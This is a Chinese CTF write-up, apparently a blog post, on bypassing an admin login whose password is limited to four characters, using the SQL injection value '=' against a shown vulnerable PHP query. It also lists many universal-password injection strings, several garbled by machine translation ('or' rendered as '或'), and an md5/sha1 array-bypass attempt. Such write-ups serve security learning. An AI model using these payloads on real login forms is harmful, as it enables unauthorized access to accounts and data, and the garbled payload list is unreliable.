做过CTF题的朋友可能对Web登录密码绕过这类题有一定的了解。 绕过它的方法有很多种,而且关卡也是无穷无尽的。 我今天帮朋友的时候也遇到了这样的问题。 但它很特别,在网上很少见到,所以我在这里分享一下。
话题:
管理员密码很长,但是有最短的方法可以绕过它。
前端代码:
<body>
admin的密码非常长,但是有最短的方式绕过
绕过方法:
这里使用的是SQL注入通用密码绕过:用户名:admin,密码:'='。
原则:
其原理是所使用的SQL语句的查询注入漏洞。
内部查询语句:
$sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;
输入‘=’后,查询语句为:
$sql = “select user from flag where user=’admin’ and password=’‘=’‘”;
user='admin' 为 true,=''='' 也为 true。
这相当于:
$sql = “select user from flag where 1 and 1”;
这样就暴露了用户,并获得了flag。
如果问题不限制用户名,我们还可以使用user=''='',这样就可以暴露所有用户。
我来说一下我绕过这个话题的整个思路。
首先声明一下,在解决问题之前我没有任何源代码? 只有一个html页面表单,提交到index.php就是这样。
第一步:先确定漏洞类型?
漏洞的类型有很多种,比如:xss、SQL注入、密码学……等等。
我们考CTF的时候主要是确定这道题的测试方向是什么?
读完这个话题,我首先想到的是PHP通用密码绕过(SQL注入),例如:
“或”a“=”a
“或 1=1--
“或”=
“或”=“a”=“a”
“或1=1--
“或=或”
''或'='或'
') 或 ('a'='a
'.).or.('.a.'='.a
'或1=1
'或1=1--
'或 1=1/*
'或"='a'='a
'或' '1'='1'
'或''='
'或''=''或''='
'或'='1'
'或'='或'
'或.'a.'='a
'或1=1--
1'或'1'='1
a'或'1=1--
a'或'1=1--
或 'a'='a'
或 1=1--
或1=1--
我随机找了几个试了一下,都失败了,并且显示“so Long”的信息,意思是太长了。
同时,在这一步中,我还运行了表单后注入,结果是没有注入。
不注入只有两种情况:
1.确实没有注射。
2. SQL语句写得很好。 其实是存在注入漏洞,但是无法扫描。 例如:
$sql = "INSERT INTO `test`.`users` (`id`, `username`, `password`) VALUES (NULL, \'fujieace\', \'123456\');";
第二步:确定密码允许输入的长度?
当我输入用户名admin并不断尝试密码后,发现了问题。 密码长度只能是 4 个字符或更少,否则不会出错。 只要密码长于4个字符,就会提示“so long”。
第三步:PHP sha1 md5绕过
由于我运行了上面的代码,所以我先入为主地认为不存在SQL注入。 既然是密码绕过,首先:我猜测是PHP MD5真等号和数值绕过。 结果我试了一下,根本没有生成4位数字的字符串。 说明姿势不对。
然后,我猜测这是绕过了PHP中的sha1()函数和md5()函数。 我捕获了该数据包并使用 user[]=admin&[]=2 数组绕过它。 现在密码字符串都是4位数字。 下面是结果,给我报错如下:
: () 1 为 ,在 /var/www/html/index.php 第 20 行给出的数组
: () 1 为 ,在 /var/www/html/index.php 第 22 行给出的数组
中文翻译
警告:() 期望参数 1 为字符串,数组在 /var/www/html/index.php 第 20 行给出
警告:() 期望参数 1 为字符串,即 /var/www/html/index.php 第 22 行中给出的数组
解释还是错的。 经过反复尝试,发现这段代码的用户名和密码只允许字符串。
而且,用户名是用()过滤的,但是密码好像没什么用,因为我这里给密码传一个数组的时候,密码警告只有();
第四步:综合分析
用户名是:admin,这是硬编码的。
密码只能是:等于或小于4个字符,并且必须是字符串。
测试点是:绕过admin密码的最短方法。
另外,该漏洞无法扫描,说明SQL语句的编写方式非常特殊,很可能是SQL注入漏洞。 其他漏洞类型似乎也不适合这个。
那么,只有一种非常不常见的密码绕过方法:'='